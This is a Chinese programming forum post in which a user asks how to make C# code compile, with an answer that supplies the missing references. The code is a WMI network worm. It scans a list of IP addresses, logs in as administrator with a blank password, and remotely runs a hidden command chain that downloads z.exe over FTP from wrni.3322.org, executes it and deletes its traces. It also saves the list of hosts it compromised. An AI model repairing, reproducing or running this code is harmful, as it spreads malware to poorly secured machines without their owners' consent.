读书人

这个代码如何改才能编绎

发布时间: 2011-12-20 22:26:41 作者: rapoo

这个代码怎么改才能编绎?
using System;
using System.Collections;
using System.Threading;

namespace WMIScanner
{
internal class Class1
{
// Methods
public Class1();
[STAThread]
private static void Main(string[] args)
{
ScnClass class2 = new ScnClass();
new Thread(new ThreadStart(class2.Task)).Start();
}
}

public class ScnClass
{
// Fields
private ArrayList ips = new ArrayList();
private ArrayList rips = new ArrayList();
private Thread[] threads = new Thread[500];

// Methods
private void CheckRemoteComputer()
{
try
{
string text = this.ips[int.Parse(Thread.CurrentThread.Name.ToString())].ToString();
Console.Write( "正在扫描主机: " + text + "\r\n ");
ConnectionOptions options = new ConnectionOptions();
options.Username = "administrator ";
options.Password = " ";
options.Timeout = new TimeSpan((long) 0x2710);
options.Authority = "ntlmdomain: " + text;
ManagementPath path = new ManagementPath(@ "\\ " + text + @ "\root\cimv2:Win32_Process ");


ManagementScope scope = new ManagementScope(path, options);
try
{
scope.Connect();
Console.Write(text + " 有效,已扫描到有效IP: " + ((this.rips.Count + 1)).ToString() + "个,开始种植....\r\n ");
try
{
string text2 = " ";
text2 = (((((((text2 + @ "cmd /c echo open wrni.3322.org> c:\gz ") + @ "&& echo tat> > c:\gz " + @ "&& echo 123> > c:\gz ") + @ "&& echo binary> > c:\gz " + @ "&& echo get z.exe c:\aa.exe> > c:\gz ") + @ "&& echo bye> > c:\gz " + @ "&& echo del c:\run.vbs> c:\a.bat ") + @ "&& echo del c:\a.bat> > c:\a.bat " + @ "&& echo ftp -s:c:\gz> c:\ff.bat ") + @ "&& echo c:\aa.exe> > c:\ff.bat " + @ "&& echo del c:\gz> > c:\ff.bat ") + @ "&& echo cmd /c c:\a.bat> > c:\ff.bat " + @ "&& echo del c:\ff.bat> > c:\ff.bat ") + "&& echo CreateObject(\ "WScript.Shell\ ").Run \ "cmd /c c:\\ff.bat\ ",0 > c:\\run.vbs " + @ "&& c:\run.vbs ";
ObjectGetOptions options2 = new ObjectGetOptions();
ManagementClass class2 = new ManagementClass(scope, path, options2);
ManagementBaseObject methodParameters = class2.GetMethodParameters( "Create ");


methodParameters[ "CommandLine "] = text2;
ManagementBaseObject obj3 = class2.InvokeMethod( "Create ", methodParameters, null);
Console.Write(text + " 植入成功,有效: " + ((this.rips.Count + 1)).ToString() + "\r\n ");
}
catch (Exception exception)
{
Console.Write(text + " 植入失败: " + exception.Message.ToString());
}
this.rips.Add(text);
}
catch (Exception exception2)
{
Console.Write(text + " 连接失败: " + exception2.Message.ToString() + "\r\n ");
}
}
catch
{
}
for (int i = 0; i < this.threads.Length; i++)
{
if ((this.threads[i] != null) && (this.threads[i].Name.ToLower() == Thread.CurrentThread.Name.ToLower()))


{
this.threads[i] = null;
break;
}
}
Thread.CurrentThread.Abort();
}

private int CheckTempThreadIndex()
{
for (int i = 0; i < this.threads.Length; i++)
{
if (this.threads[i] == null)
{
return i;
}
}
return -1;
}

private void ReadIPS()
{
StreamReader reader = File.OpenText(Application.StartupPath + @ "\ips.txt ");
while (reader.Peek() != -1)
{
this.ips.Add(reader.ReadLine());
}
reader.Close();
}

private void ScannIPS()
{
int num = 0;
int num2 = 0;
while (num2 < this.ips.Count)


{
try
{
int index = this.CheckTempThreadIndex();
if (index > = 0)
{
this.threads[index] = new Thread(new ThreadStart(this.CheckRemoteComputer));
this.threads[index].IsBackground = true;
this.threads[index].Name = num2.ToString();
this.threads[index].Start();
num2++;
num = 0;
}
else
{
num += 100;
Thread.Sleep(100);
}
continue;
}
catch
{


num = 0;
continue;
}
}
bool flag = false;
Label_00AE:
while (!flag)
{
flag = true;
for (int i = 0; i < this.threads.Length; i++)
{
if (this.threads[i] != null)
{
flag = false;
goto Label_00AE;
}
}
}
}

public void Task()
{
Console.Write( "读取IP地址....\r\n ");
this.ReadIPS();
Console.Write( "开始扫描....\r\n ");
this.ScannIPS();
Console.Write( "输出有效IP地址....\r\n ");
this.WriteIPS();
}

private void WriteIPS()


{
string text = " ";
for (int i = 0; i < this.rips.Count; i++)
{
if (text != " ")
{
text = text + "\r\n ";
}
text = text + this.rips[i].ToString();
}
StreamWriter writer = File.CreateText(Application.StartupPath + @ "\rips_ " + DateTime.Now.Year.ToString() + DateTime.Now.Month.ToString() + DateTime.Now.Day.ToString() + DateTime.Now.Hour.ToString() + DateTime.Now.Minute.ToString() + DateTime.Now.Second.ToString() + ".txt ");
writer.WriteLine(text);
writer.Flush();
writer.Close();
}
}


}

[解决办法]
//在项目引用.NET项中添加System.Management

using System;
using System.Collections;
using System.Threading;
using System.Management; //add
using System.IO; //add
using System.Windows.Forms; //add

namespace WMIScanner
{
internal class Class1
{
[STAThread]
private static void Main(string[] args)
{
ScnClass class2 = new ScnClass();
new Thread(new ThreadStart(class2.Task)).Start();
}
}

//...
}

读书人网 >C#

热点推荐